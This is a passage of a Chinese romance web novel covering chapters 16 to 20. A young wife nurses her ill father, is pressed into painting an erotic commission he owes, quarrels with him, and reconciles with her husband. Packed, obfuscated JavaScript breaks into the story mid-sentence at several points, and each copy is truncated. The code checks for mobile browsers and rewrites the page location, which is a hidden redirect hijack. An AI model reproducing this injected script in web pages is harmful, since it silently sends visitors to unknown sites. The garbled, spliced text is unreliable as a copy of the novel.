一种无力感遍布全身,她要怎么还清二百两?她想起一事,马上说道:“之前爹给我五十两,可以用来还这笔钱。” 珠娘叹道:“五十两的就是这一幅!定金给了二百五十两,他拿了五十两给你!” 哦,所以她和爹,一共欠人家二百五十两。 等等,这么多银子,她的亲爹只分给她五份中的一份?宁可在鱼的身上“一掷千金”,也不给她? 鱼竟然比自己略胜一筹! 哦!该死的头痛! 青朵捂着脑袋,感觉头痛欲裂,这时,眼前浮现一个身影,笑容如煦煦春风。 曾卿卿!脑中的青朵小人已冲上去抱住他,委屈道:“呜呜呜,夫君,你快帮帮我啊!要是还不上这笔钱,爹的女儿,你的妻子我就会被卖掉抵债,那我就和戏里面的窦娥一样了!到时候冤屈至死,六月飞雪!我爹一辈子是做不了官了,你可要努力读书,考中举人,当官为我平反啊!” 他低声笑,抚摸她的头,柔声道:“夫人,有我呢。” 嫁给他的这些天,不论是她不愿圆房,还是醉酒闹事,浊气冲天,曾正卿都理解她,包容她,他可比自己亲爹可靠多了! 青朵烦闷的心渐渐安稳下来,她忽地想到,自己现在是曾家少夫人,她没有钱,但曾家有钱啊! 她倏地起身,边走边说:“珠姨,我叫芳晴回去取银子,你和买画的那人说一声,我爹身体不适画不了了,定金给他退回去!” 晚间,珠娘带着芳晴取回的银子出门,去还买家的定金。青朵守着唐礼。黄昏时他生起高热,双颊转为绯色,口中呓语,青朵附身下去,听他喃喃道:“鱼儿!鱼儿!”霎时气不打一处来。 她将湿巾贴在他额头上,嘟囔道:“鱼儿能给你换湿巾降温吗?” 又用艾草灼他脚底涌泉穴,她一手捏着鼻子,尖声尖气道:“鱼儿能忍着你的脚臭,为你祛寒吗?” 芳晴微微抬起唐礼的身子,青朵一勺接着一勺,把桂枝汤喂进他口中,她又絮叨着:“鱼儿能给你熬桂枝汤,喂你服药吗?” 芳晴拼命咬着自己的下唇,忍痛憋笑。嘴绷成一条线,不敢开口,唯恐笑出声来。自己可没见过女儿和鱼儿争宠的事。喂药完毕,她轻轻放下唐礼,端着水盆去院子里,刚出屋门,就“噗嗤”笑出声。 索性忙完这些,唐礼的热势稍退,人仍然昏沉沉睡着,青朵哀怨地望着,大有一种等着唐礼醒来,要追问他“我和鱼儿你更爱哪一个”的架势。 “珠姨娘回来了!”芳晴在院中喊道。青朵闻言站起身,见珠娘拎着装着银子的包裹回来,满脸疲惫,她心中一沉,上前接过包裹,放在一边。 “怎么样?”她问道。 珠娘摇摇头:“买家不肯答应。” “他嫌少?”青朵一咬牙,“那就多付一点!毕竟我们违约在先!你等着,我这就再回曾家取。”说着就要冲出去。 珠娘忙拦住她,说道:“小祖宗,你倒是等我说完啊!买画的是和宝楼当铺的二公子,他平时就喜好收藏各种书画,听说此事,说道自己只想要画,如果现在画不了,他宁可等着你爹恢复再画,也不肯接受退钱。” 青朵的心又回到原位:“既然他这样说,那便等爹好了再给他画。” 虽然她爹心中只有“鱼儿”,但她心里放心不下自己的亲爹,今夜她就在此处休息,她上半夜照顾爹,珠姨是下半夜。忙了一天加上熬夜,她倒头就睡着,临睡前想到一件事:曾正卿自从和她同床共枕,好像总睡不好觉,要不然就是起来给她盖被,要不要就是她喝醉、肚子疼照顾她。 自己熬夜给他缝袜子,第二天昏睡过去,他也不会叫醒她,自己还能补补觉,可他第二天还要到铺子里,劳累却又休息不好,一定很辛苦。 可怜的卿卿,青朵临睡前最后一个念头掠过:我要加倍用心待他。 一夜无梦,她沉沉地睡着,一时忘了身在何处。却被芳晴小声唤醒:“少夫人,唐老爷醒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352129|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 青朵想了一下,才反应过来白天发生了何事,一下子坐起,顾不得起身迅猛而乱蹦的心跳,她趿拉着鞋子冲到唐礼房中,果然见到他睁着眼睛,吃力地打量她。 “爹!爹!我是阿照啊!”青朵大喜道,“你终于醒了!你可吓死我了!”不等唐礼回复,她抬头一叠声地催芳晴去请郎中来。 唐礼想要抬起右手,却发现自己力不从心,手抖得厉害,青朵忙握住他的手,这双熟悉的手,终于恢复他该有的温度。 太好了!青朵欣慰地想道,她最终,还是将病魔赶走了。 * 青朵再来时,已经是唐礼落水的第四日。唐礼正在吃早饭,他左手端碗,右手拿匙,不知是左手颤,还是右手颤,还是两只手都在颤抖。仿佛他手中的不是碗和匙,而是一对“碰铃”,叮叮咚咚地响。 眼瞅着他舀起的一勺粥在空中颤颤巍巍,马上就要播撒在被子上,青朵忍不住伸手去接碗和匙,说道:“爹,我来喂你吧!” 唐礼似是不愿,喉咙里哼哼着什么话语,但又拧不过青朵,只好任她一勺勺喂给自己吃。 吃不过吃一碗粥,就像是打了一场恶战,唐礼身上冒出许多虚汗,青朵服侍他躺下,拧干手帕擦去他脸上的汗,一直等他睡去,才悄悄地走出去,去厨房找正在熬药的珠娘。 “珠姨,我爹的手抖怎么还没好?” 珠娘往灶里添一块柴,叹气道:“恐怕一时半会儿都好不了了。” 青朵大吃一惊,忙问道:“郎中怎么说?” “说是什么‘寒邪如体,经络阻碍不畅’。我的理解就是,在水里冻出毛病来了。我问他什么时候能好,郎中说几个时辰也有,几天也有,慢的,几个月也有。” “甚至,可能伤了经脉,一辈子都好不了了。”她轻声道。 木柴仿佛受了惊吓,在灶中“啪”地爆开一颗火星。炉火烘得人身上暖暖的,青朵却觉得心怎么也暖不过来。 爹在画画上天赋极高,因遭变故,封笔不再画画。现在好不容易想明白,又开始作画,没想到又遇到这事。主动罢手不画,和不能画,完全是两码事。难道天妒英才,上天真要一次次地把爹逼到绝境吗? 眼泪悄悄滑过脸颊,脸上痒痒的。她没有心情拭去泪水,任由它们“吧嗒吧嗒”坠落。她想起一次,她被同村的伙伴嘲笑家里破烂,回家嚎啕大哭。 爹蹲下身子哄她,心疼道:“哎哟哟,我们囡囡掉了好多小珍珠!” 她哭得更厉害了:“为什么不是珍珠!要真是珍珠!家里就不穷了!哇——” 爹手忙脚乱地用袖子给她擦眼泪:“哎哟不哭不哭,都怪爹胡说八道!” 他的袖口传来豆油的腥味,青朵嫌弃地躲开,自己用手背擦眼泪,不知从什么时候开始,爹的袖口由墨水的臭味,变成豆腥味。 “要不爹教阿照画花鸟鱼虫,画画可挣钱了!” “不要!”她清楚记得自己当时坚决抗议,“如果画画真能赚钱,我们现在为什么还这样穷?你说谎!” 爹没有说谎。青朵看着自己的双手,之后自己一直嘴硬不肯跟爹学画,但自己确实凭着这门手艺,衣食无忧。 她的心中升起一股勇气,下定决心,她要跟爹学画,将他的画艺传承下去! 至于爹欠那个什么二公子的画—— “珠姨,”她的声音非常冷静,“不必等我爹恢复了,欠那人的画,我来画!” 珠娘一脸诧异地仰头看她,面色古怪,吞吞吐吐道:“这,这不太好吧……” “有什么不好,不过一幅画!”青朵见珠娘不言语,蹲下来摇晃她的身子撒娇:“珠姨——” “不行!”珠娘被她摇得晕头晃脑,仍然不松口。 “你怕我画得不如我爹,暴露出去,对不对?你放心,我会用心跟他学画!” “不是!” “那是为什么!” 珠娘让她缠得没办法,她脱口说道:“因为二公子跟你爹订的,是一幅春宫图!” 她看着青朵逐渐惊恐的目光,叹息道: “你一个女儿家,怎么能让你画春宫图呢!” 17. 旧业 晚风送来虫吟,声声短促有力,宣告它们的生命力。与之相反,青朵坐在窗边的桌旁,双手捧腮,愁眉苦脸地叹气。 珠姨的话还在耳边回响:“你一个女儿家,怎么能让你画春宫呢!” 是啊!她一个女子,怎么能画春宫呢! 之前,要不是她画别的题材,连画材费都亏进去,春宫的得益高,她才不干呢!好不容易嫁了人,以后不用为生计奔波,她万万不愿意重蹈覆辙! 她当时就说:“珠姨,你便告诉买家,我爹的手受伤,无法作画,除了该推给他的定金,我们愿意额外补偿他。” “不行啊!阿照,不能说你爹的事!”珠姨急道,“刘二公子订的是‘梦游仙’的画,不是‘唐礼’的画!” 青朵愣住了:“梦游仙?” “他之前说过要封笔,也不想用自己的名字画春宫,就用‘梦游仙’的名义作画。刘二公子知道我和你爹的关系,倘若我们告诉她,画师手受伤画不出来,他很容易猜想,唐礼就是梦游仙,梦游仙就是唐礼,那你爹就暴露了!” 青朵眨眨眼:“这么说,除了我画出这幅图,没别的办法了?” 珠姨一时语塞,她叹道:“唉,当初我就该劝住他的,他非要为你添妆,结果弄出个烂摊子留给咱俩!” 想到此处,青朵嘴角抽动,呵,给她五十两,在鱼身上花费二百两,与其说是为了她,不如说是为了鱼! 好处没鱼多,要做的可不少。爹的手一直颤抖,“脏活”最后还得她干,谁让她摊上个放荡不羁的爹呢! 古有木兰替父从军,今有青朵代父作画。 她连连叹气,不情愿地推开绢帛,取一只狼毫笔,淡墨轻勾,画出女子面庞,便要继续画眼睛时,突然生出一个疑问,手中一涩。 行闺房之事时,女子该是怎样的神情?笑,还是哭? 脑海里涌现自己大婚当夜的场景,遗留下的恐惧如涨潮般上涌,慢慢上涨至脖颈,让她难以呼吸。 青朵勉强压下心中的不安,想象以往借鉴的避火图,暗自嘀咕着:也许只是我的问题,别的女子都享受得很。 强迫自己仿照他人的经验之谈落笔,毕竟心中不是如此想法,待整幅画完成,青朵越看越觉得奇怪,自己笔下女子的神情,像是情绪的大染缸,喜怒哀乐都跳进来洗过澡。 不行啊!自己和爹的技艺差距太大了。就算是学,也不知什么时候能画出来。“代父作画”不过是痴人说梦。 青朵盯着画中神情分裂的女子,沮丧极了,别说赶上爹,怎么现在,连婚前的水平都不如?以前还能勉勉强强算作“酸枇杷”,如今都成了“烂枇杷”! 她看着画觉得心烦,伸手欲卷起来扔掉,转念一想,画都画了,不如卖上几文回本。只要自己把画卖掉,它就再也丑不到她。 至于会碍谁的眼,那就是别人的事了。 * 青朵先是戴上面纱,又戴上帷帽,把脸遮得严严实实,这才出门。 到了她以前常卖画的书铺子,叫“棠英书铺”。掌柜瘦高身材,不苟言笑。他上唇八字胡向两侧鼓起一道弧形,青朵暗自叫他“虾掌柜”。 “虾掌柜”仔细端详她的画,沉吟良久,手指点画,问道:“姑娘,这画中人,是哭,还是笑?” “是笑。”青朵脱口而出,偷瞄掌柜的表情,见他眼睛眉毛迅速聚拢,马上变卦:“是哭!” 对上掌柜探寻的目光,青朵心虚地一笑,小心翼翼说道:“不对,还是笑!” 掌柜忍无可忍,讥讽道:“你画的画,是笑是哭,你还不知道吗?” 青朵心里腹诽道:可能是像我现在这样,表面在笑,心中在哭。她“嘿嘿”笑着,说道:“不妨事,整体看来是协调的,你看看她头发乌黑油亮,再看这朱红的帐子,连褶皱的层数都清晰可数……” “谁看避火图是为了查帐子褶皱!”“虾掌柜”斥道。 “也是,也是。”青朵打哈哈,她试探问道,“这幅画是有些许瑕疵,但是瑕不掩瑜,虾……掌柜,你看看能值多少?” “这画我们不要。”“虾掌柜”把画扔给她。 什么?拒收? 青朵忙说道:“别呀,其实她的表情非常丰富。” 她打开画直往掌柜的眼前推:“你看!似笑非笑,似哭非哭,笑中带泪,泪眼含笑……” “四不像呗?”“虾掌柜”翻了个白眼,“我可欣赏不了,姑娘去找能欣赏的店铺吧!” 青朵好说歹说,费尽口舌,“虾掌柜”只作不见不闻,她无可奈何,只能灰溜溜带着画作离开,不甘心地又转了几个小铺子,除了女子的表情,还指指点点挑出更多毛病,结果都是一样的——拒收。 “啪——”青朵一脚将路边的小石子踢飞,闷闷不乐向珠娘家走去。 唐礼的精神好多了,他斜倚靠枕,手中执一卷书,饶有兴味地读,他的手震颤依旧,上下颠簸有如海浪,不知他的眼睛会不会“晕船”。 青朵兀自琢磨这些有的没的,唐礼抬眼见她悒悒不乐的样子,放下书问道:“怎么了?” “没什么。” 丢脸的事说出来,就是再经历一遍耻辱,她不要说。 唐礼见她不想说,转移话题道:“我听珠娘说,你要替我画春……那个图?” 他以为的转移话题,实际是撞枪口,青朵没好气地说道:“是!” 要不是因为他,自己不会再画春宫;要不是因为他,自己也不会经历刚才下不来台的事!她怒上心头,嚷嚷道:“都怪你!要不是你应下这个见不得人的活,我又怎么会蹚这浑水!哪有良家女子画春宫的!传出去还让我怎么做人!” 唐礼一瞪眼睛:“好你个小丫头,我不说你,你倒讹上我了!” “你之前画春宫,不是挺起劲的吗!” 唐青朵一下子熄了火,她与唐礼大眼瞪大眼,目光拼命在他身上搜寻线索,不对,爹怎么会知道呢?他八成在诈她。 “我哪有!你不是说封笔了吗?私下倒是没少画!”青朵先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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微风将阳光拂落在她身上,一切,暖融融的。她眯着眼,望向窗外葡萄架上攀爬的绿藤,心道: 是时候让自己的梦,透透气了。 青朵展开被拒多次的画,虚心请教:“爹,你看看我这画,有哪些需要改进的地方?”唯恐唐礼再提起女子神态的毛病,她可不想再听,忙补充道:“神态就不用说了,我已经知道了。” 唐礼觑了一眼:“嚯,你倒是什么都敢画,比你爹我还狂放!” 青朵一听这话瞬间来了精神,以她现在的水平,竟然有超过爹的地方!哼,还得是爹,掌柜们都挑画的毛病,只有他能发现自己作品中的亮点! 她故作谦虚道:“哪有哪有,我与爹还差得远呢!” “只画两个女子搂搂抱抱,”唐礼食指在空中点了点她,“小姑娘,你胆大得很!” 青朵顿时黑脸:“什么叫两个女子!我画的明明是一男一女!” 18. 等候 唐礼一愣,随即哈哈大笑,边笑便拍床榻。 青朵愠怒道:“笑什么笑!” 书店掌柜们加起来,也没有爹一个人过分!他一个人演绎十人份的夸张! 她要收回之前对爹的夸赞! “哈哈哈哈,这纤纤细腰,弱柳扶风的,竟然,竟然,男的……哈哈哈哈——”唐礼歪倒在床上,乐不可支。 青朵慌不择言,辩解道:“那还不是因为我不是男人!你看,我画女子,身材就没有问题!画男子则不成,这都是因为我不是男儿身!” 唐礼闻言又是一阵大笑,他断断续续道:“你,你,还没看过螃蟹跑,跑吗?” 按理说,嫁为人妇的女子,经过闺房之事,也该知男子身形,可她唐青朵偏偏是仍不了解的那个。 准确来说,自己也见过,不过谁新婚夜踹了夫君一脚,还能仔细打量他的身形如何! 一句又一句,直往青朵心窝子里戳,她恼羞成怒,阴着脸出屋,恨恨地摔门而去。 珠娘早就听到里面又笑又怒的声响,她不去掺和人家父女的事,只是在院中悠哉地嗑瓜子,直到看见青朵愤愤出门,才忙起身拉住她,笑道:“这又是怎么了!你爹那么大个人,也不让着孩子点,好阿照,你别生气,灶上正蒸着粉蒸肉,一会儿我们美美地吃一顿,再喝点杨梅酒,爽口清凉,等吃好了,我再替你出气!” 青朵听着从屋里传来的笑声,“新仇旧怨”叫在一起,叫她气不打一处来,她一把甩开珠娘的手,踮脚叉腰,冲着屋子喊道:“在鱼身上花二百,就给我五十?鱼儿比女儿金贵是不是!哼!唐阿礼,等你再生病,让臭鱼烂虾伺候你!” “你既然喜欢鱼,就用你那碧玉杆子,钓上一大堆鱼,全部姓唐!哦对了,”她讥讽道,“那破杆子早就与船一起沉了,都跑到鱼那里,当镇宅之宝去了!” 屋里的笑声骤停,唐礼也被戳到痛处,他气咻咻地喊道:“那怎么了!老唐我愿意!再给鱼送十条八条碧玉杆子,我也不给你!” “谁稀罕!”青朵直跺脚,“你便和你的鱼,一家万口好好过!我今天就要改成娘的姓,姓秦!哼,我早就想姓秦了!秦青朵比唐青朵好听十倍,百倍,千倍!” 唐礼刚发出声音,就咳嗽起来,珠娘顾不上拉住青朵,匆忙进屋去了。 青朵晃着脑袋嘀嘀咕咕,甚是不服气:“就你会画,就你会说!画技高就了不起啊?凭什么嘲笑我?真是高高在上,趾高气昂!一点儿大家风范都没有!” 屋内的咳嗽声还未停,青朵向前迈了几步又停住,原地一思索,蹑手蹑脚跑到窗下,蹲着身子悄悄往里探,见珠姨轻拍爹的后背,满脸忧色,口中念叨着:“慢点,慢点!” 爹就着珠姨手喝了杯中水,咳声渐微,但人还急急喘粗气。青朵不禁懊悔,明明自己就是画功拙劣,爹不过笑两声罢了,何苦非要逞口舌之快,惹他难受? 珠娘的视线不经意扫过来,吓得她连忙低头,横向挪走,直到离开窗口才直起身,蹙眉望向半敞开的屋门,犹豫了一阵,还是抬腿离开。 隐隐约约的,笑声自心底响起,跟在她的身后,像是一条甩不掉的尾巴。 * 青朵揭开砂锅盖子,琥珀色的汤汁簇拥肉块,咕嘟咕嘟翻腾,五花肉在酱汁的推挤下颤巍巍地抖动。她满意地放下盖子,来回拍了拍手,说道:“还得是我唐……秦小厨。” 曾正卿临走前曾交代,今日差不多午时归家。青朵想到上次,自己都觉得有点咸的菜肴,他都说不错,看来只有自己的手艺能满足他的喜好,她一大早就爬起来,拟定菜单,打算做个四菜一汤为他接风洗尘。 只是,菜肴上蒸腾的热气已经消散,顶上的金乌也渐渐西沉,这桌菜,还是没有等来该尝的人。 夕阳余晖落在青朵失落的眸中,她蜷缩坐在床上,双臂环腿,头枕在膝上偏头望向窗外。芳晴见她神色落寞,安慰道:“少夫人,少爷可能是有急事耽搁了,以前也有这种情况,他肯定很快就会回来。你还是先用餐吧!” “很快是多快?”青朵不为所动。 “很快就是……”芳晴不敢说,说早了徒增期待,说完了更添伤心。 青朵叹了一口气,把脸埋进臂弯,闷声闷气道:“曾正卿骗人。” 芳晴也暗暗叹气,她眼见着这位少夫人从早上的兴高采烈,到此时的无精打采,像是一支牵牛子,朝开夕合。 忽然,外面似乎有很多人涌入,热热闹闹的,青朵蓦地抬起头,脸上绽开喜色:“曾正卿回来了!” 她跳下床,在床上一个姿势坐太久,一时脚软,还是芳晴在一旁眼疾手快掺住她,她却顾也不顾,跌跌撞撞直往外跑,跑到中途又想起什么,又猛地折到铜镜前,双手胡乱拂过头发,见镜中自己霞明玉映,对镜一笑,提起裙摆匆匆出门。 “夫——”青朵看到院中景象,惊讶地住口,缓住步子。 周妈领着几个婆子蹲在地上,正在将新来的鲜花植在花园中,见到青朵连忙站起身来,恭敬道:“少夫人!” 芳晴追出来,十指交叉紧扣在身前,低头小声道:“少夫人,奴婢忘了告诉你,今日周妈要带人重整花园。” 青朵瞬间蔫了下去,垂头丧气地转身,一步步挪回房间,她忧郁道:“芳晴,他是不是赶不回来了?” 她无精打采的样子看上去可怜兮兮的,芳晴心中不忍,转移话题道:“少夫人,要不奴婢给你做一份冰酥酪?吃点甜的凉的,心情也好。” 青朵瘫坐在桌前,看到桌上久置失去香气的饭菜,感觉自己此刻就和它们一样,灵魂失去了一角。 她无力地趴在桌子上,喃喃道:“芳晴,我有点……” “有点什么?”芳晴忙问。 有点……她说不清楚,这到底是什么呢? 这些天,那些无人可说的情绪,在她心里层层堆叠,她迫不及待要一吐为快:爹昏迷时的慌张,曾家雪中送炭的感激,画作被嘲讽的痛苦……诸般情状,她只想说给一人听。 奇怪,明明她与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“唔!”挨的这一下,与新婚夜一样让人始料不及。曾正卿捂着胳膊,错愕地望向青朵,见她柳眉倒竖,精巧的鼻子上下翕动,眼中盛满怒意。 “夫人——” “曾正卿!你不是说十二日午时就回来吗?现在,现在已经是,已经是,反正不是午时了!” 曾正卿怔然盯着他的妻子,她的脸颊因盛怒涨得通红,而那只是暂时。一瞬之间,竖起的眉毛“急转直下”,眼眶漫上雾气,她嘴一撇,扑进他的怀里,双臂牢牢地抱住他。 他仓皇抬起手臂,一动不动。 滴,滴答,滴滴答答…… 曾正卿的世界仿佛飘来朵朵彩云,落下千千万万的水滴,连成密密麻麻的一片,恣意地,不可抵抗地,他心潮澎湃。 青朵贴着他温热的胸膛,听见他混乱的心声,感到无比安心,泪水终于簌簌落下,她委屈道: “你怎么才回来呀!” 19. 偷看 “你不知道!爹的船沉了!他落水昏迷,我,我都吓坏了,”青朵抽抽噎噎,眼泪都蹭到曾正卿的衣服上,“我照顾他好久他才醒,还有,还有我的画功又退步了,卖不出去,爹笑得很大声,他笑话我!他不要当我的爹,他要当鱼的爹,我只好改姓,我以后只能叫秦青朵,哇——”青朵失声痛哭。 她一番话说的颠三倒四,幸好回来的时候,曾正卿从芳晴口中知道唐礼的事,他明白个大概。 湿意透过衣衫渗进肌肤,她的哭声像是鼓槌,敲打他的心口,他环住她的身躯,下巴抵着颤动的脑袋,抚摸她的脊背,慢慢地,将她如褶皱般的情绪抚平。 青朵低声呜咽着,任曾正卿温暖的掌心抚过发间,忽听他低声问道:“岳父昏迷的时候,你是怎样照顾他的?” “我?”虽然不明白他为什么问,但哭得太用力,青朵的大脑一片空白,她来不及思索,下意识回答道,“他后来发烧,我给他换帕子,还用,还用艾灸帮他驱寒,熬药喂药,慢慢,他全身就不再发热。” “多亏你的孝心,岳父才会醒来,对不对?夫人”呼吸之间,她发间的兰香漫入鼻腔,他忍不住用下巴蹭了蹭她的小脑袋。 抽噎声停了一息,青朵吸了吸鼻子,在他怀中点头道:“是的,我是个孝顺的女儿。” 曾正卿忍不住低笑出声,他又说道:“夫人为何卖画?可是手中的银子不够?” “不是的,我想看看我现在的画,能值多少,”青朵小声说,想到被拒多次和爹的笑声,她哀哀道,“夫君,我的画一文不值了!” 曾正卿明显感到,怀中的人儿又要开始剧烈抖动,他赶忙说道:“可我觉得夫人的画,灵动自如,自成一家。” 震颤瞬间停止,急切的呼吸声透露出“愿闻其详”的意味,曾正卿道:“夫人,那日在你的闺房,见到那幅图,我候在你家门前,身后的雨景不是死板的蓝,而是融合春日的绿意,我一见就挪不开眼,似乎又回到那日,嗅到那份湿气。” 还有一事他未明说,当时他等在门前,心中忐忑不安,这份情感,她也用色彩晕染出来,细腻得仿佛是出自他自己笔下。 青朵闻言仰面看向他,睫毛挂着泪滴:“你是说,我很会用色彩?” “是。”曾正卿肯定道。 青朵破涕为笑,眼睛笑成弯月,挤出蓄在眼眶的泪珠。曾正卿提起袖口给她拭泪,又劝道:“夫人,不必妄自菲薄,人都有所长,何况你年岁还小,怎可能一下子到达岳父的高度?不如勤学苦思,以你的聪慧,定能大有长进。” 青朵的眼睛泛着光彩:“是,我正要和我爹学画!”那光彩又逐渐暗淡下来:“可我和爹吵架了,我还说了很多难听的话,气得他直咳嗽,我还说,不做他的女儿,要改叫秦青朵……”她的声音逐渐低下去。 之前还没明白她为何说自己姓秦,想到之前拜祭岳母,碑上刻下的名字,他恍然大悟,原来是这小妮子自己惹的麻烦,告状的时候,说的倒像是岳父不要她,曾正卿不由觉得好笑,忍笑说道:“岳父胸襟开阔,又一向疼爱你,你说几句好话,这件事便翻篇了。” 青朵讪讪道:“可,可我的面子挂不住呀!” 曾正卿笑道:“那我便为你说和说和。” “好好好!”青朵一叠声应着,眉开眼笑道,“怪不得我只想跟你说这件事,就是因为你能帮我!” “卿卿,嫁给你可真好!”她由衷赞叹道。 曾正卿心头一热,只想把她再次抱在怀中,吻上去不放开。可望着她纯洁的面庞,又怕吓到她,他强自忍耐,避开脸说道:“夫人,妻子称丈夫为卿,有悖伦理。” “可你就叫‘曾正卿’啊!”青朵眨了眨眼,提议道,“要不然叫你‘正正’?” “……罢了,随你喜欢吧!” “你不喜欢?”青朵追问道,“你要是不喜欢我就……” “喜欢,”他直视青朵亮晶晶的眼,肯定道,“喜欢。” * 曾正卿半夜归家,见青朵伏在桌上睡着,才知道她做好饭菜,苦等他一日。于是将她抱到床上休息,为了不辜负她一番心意,让芳晴重新加热饭菜,没吃几口,青朵就找过来。 所有心事全都解决,曾正卿也归来,青朵顿觉一身轻松,自己也觉得饿,便添饭与曾正卿一起吃。 刚才青朵涕泗横流,鼻涕和眼泪都蹭到他身上,曾正卿穿着这身实在吃不下去,他说道:“我先去换件衣服。” 青朵的注意力都在红烧肉上,她随口应了,夹起一块肉放入最嘴中,吃起来软糯酥烂,不禁得意。只是为了迎合曾正卿的口味,做得稍微有点咸。她将一大块米饭扒拉到嘴里,中和肉的咸味。 嘴巴正卖力地嚼嚼嚼,脑袋也飞速转动,对了,夫君刚才说他去干什么了?嗯,想起来了,换衣服。 换衣服啊…… 她意识什么,突然瞪大双眼,停止咀嚼。 换!衣!服! “换”的第一步,就是要“脱”。那不就意味着,如果自己偷看到的话,就能知道男人身体该怎么画了。 不行不行,秦青朵,你怎么能做这种事呢?有这种想法都是无耻下流,她脑袋晃得像拨浪鼓一样,强迫自己压下心底的跃跃欲试。 可是……看别的男子确实不太妥当,但这个人,是自己的夫君,看他的身体,怎么能叫偷呢? 这是婚礼赋予她的利益,不看白不看! 青朵“蹭”地站起,拎着裙子,像只猫鼬快速接近她的猎物。曾正卿就在屏风后面,烛光将他的影子映在上面,他刚脱下一件衣服,顺手将衣服搭在屏风顶上。 青朵大喜:来得正是时候!她蹑手蹑脚地靠近,扶住屏风,眼睛滴溜溜地往里瞄,见曾正卿背对着她,就又大胆地伸出头来,贪婪地欣赏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青朵的心提起来,她落座不久,就发现自己右脚的鞋子不知所踪,一定是刚才差点被绊倒的时候脱落了,她本想回去取,又听到曾正卿走路的声音,心急如麻,反而灵机一动,有了对策。 果然,曾正卿从身后拿出的,就是自己跑掉的鞋。她的声音有些发颤:“哦,它呀,我正寻思呢,刚才下床的时候匆忙,才发现只穿一只鞋,原来在屋里呢……” “在里屋的地中央。”曾正卿补充道,说完就紧抿嘴唇,看着青朵强自镇定的样子,他就要笑出声来。 “嗯……”青朵的脑袋飞快转动,“那就是我走路的时候,不小心踢到它,踢到那个位置。” “不过,”曾正卿右手握拳抵在唇边作沉思状,“好像我去换衣服的路上,并没有看到这只鞋子,” 他直视青朵惊恐的双眼,笑意再也隐藏不住,“倒像是,我在换衣服的时候,它才出现的。” 他别有深意道:“夫人,你觉得呢?” 20. 预防 “我觉得……我觉得……”青朵的眼睛滴溜儿转,一时没了主意,不过联系以往与爹娘的斗争经验来看,只要她死不承认,曾正卿又能奈她何?于是说道:“这事怪了,卿卿怎么想?” 这是把问题推还给他,曾正卿见她咬死不承认,只是笑笑:“可能是我进屋时没瞧仔细。” “对对对对对!十分有道理!”青朵一叠声地应着,末了加上一句恭维,让他无法推翻自己的论断,“不愧是卿卿!这么快就想明白了!” 曾正卿嗤笑出声,对上她迷茫的目光,敛起笑容一本正经道:“承蒙夫人赞赏。” 旦日果就与青朵一同去看望唐礼,再次见面父女二人都不大自然,唐礼不顾曾正卿在场,阴阳怪气道:“哟!这不是秦小姐嘛!” “哦是我秦青朵,”青朵心虚地四处乱瞟,嘴硬道,“唐叔叔,怎么不见你的宝贝鱼儿们?难道都在锅里炖着呐?” “你!”唐礼掀起被子要下床打她,被珠娘拉住,曾正卿将青朵揽到身后,劝道:“岳父息怒,夫人已自知有错,昨日痛哭流涕自责不已,只是面皮薄不好意思,所以央我带她来道歉。还望岳父看在她一片孝心,莫要气坏身子。我替夫人向你赔罪了!”说完便倾身行礼。 青朵望着弯下身去的曾正卿,心里不是滋味,她绕过他上前几步,拍拍胸膛道:“一人做事一人当!我唐青朵不用别人替我认错!爹,我错了,下次不敢了!” 唐礼哼了一声:“这话我听了十几年,也未见你真的‘不敢’!”说完又叹气道,“罢了罢了,这事也怪我自己,从小对你纵容溺爱,事事由着你的性子,将你惯成这副天不怕地不怕的模样,如今算是我自食其果!” 青朵见他语气松动,走过去笑嘻嘻坐在床上:“啊呀爹,你言重了,幸亏我不知天高地厚,我要是规规矩矩地陪在你身边,你可不是要闷死?” “爹,你是我最好的爹,我也是你最完美的女儿。”她拉着唐礼的手边晃边撒娇道。 珠娘和曾正卿见状都暗暗生笑,唐礼见她嬉皮笑脸的样子,再难生气,但此时摆出笑脸,这丫头定要顺杆爬,他板着脸道:“去去去,上一边胡闹去,拿甜言蜜语哄我,我可不吃你这一套!” 青朵悄悄觑向爹的脸,见他胡须微微颤动,明明是憋不住笑的样子,心中有数,殷勤道:“好,那我就不吵你了,我做点好吃的给你!”说罢跳下床,冲曾正卿使了个眼色,出门去了。 珠娘见翁婿二人有话要谈,找个理由也出去了。待二人离开,唐礼叹道:“元柏,我这女儿,唉,让你见笑了。” 他想起青朵之前一直偷画春宫图的事,看女婿克己复礼的样子,只怕日后得知,不肯善罢甘休。而女儿青朵看起来还很喜欢这个夫婿,忍不住忧心忡忡,说道:“贤婿呀,阿照现在的性格,都是因为我疏于管教,可她已这样十几年,改怕是难改了,” 